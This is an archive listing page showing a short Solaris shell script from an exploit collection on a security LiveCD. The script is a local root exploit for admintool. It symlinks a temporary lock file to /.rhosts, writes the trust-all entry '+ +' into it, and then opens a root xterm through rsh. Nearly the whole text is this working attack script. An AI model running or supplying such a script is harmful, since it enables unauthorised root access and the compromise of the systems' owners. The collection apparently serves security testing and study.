home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / admtool.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  303b  |  11 lines

  1. #!/bin/sh
  2.  
  3. setenv DISPLAY yourdisplay:0.0
  4. ln -s /.rhosts /tmp/.group.lock
  5. /usr/bin/admintool
  6.  
  7. #(browse -> group -> edit a group -> get an error message -> exit)
  8.  
  9. echo "+ +" >> .rhosts
  10. /usr/bin/rsh localhost -l root "(/usr/openwin/bin/xterm&)"
  11. #                 www.hack.co.za           [2000]#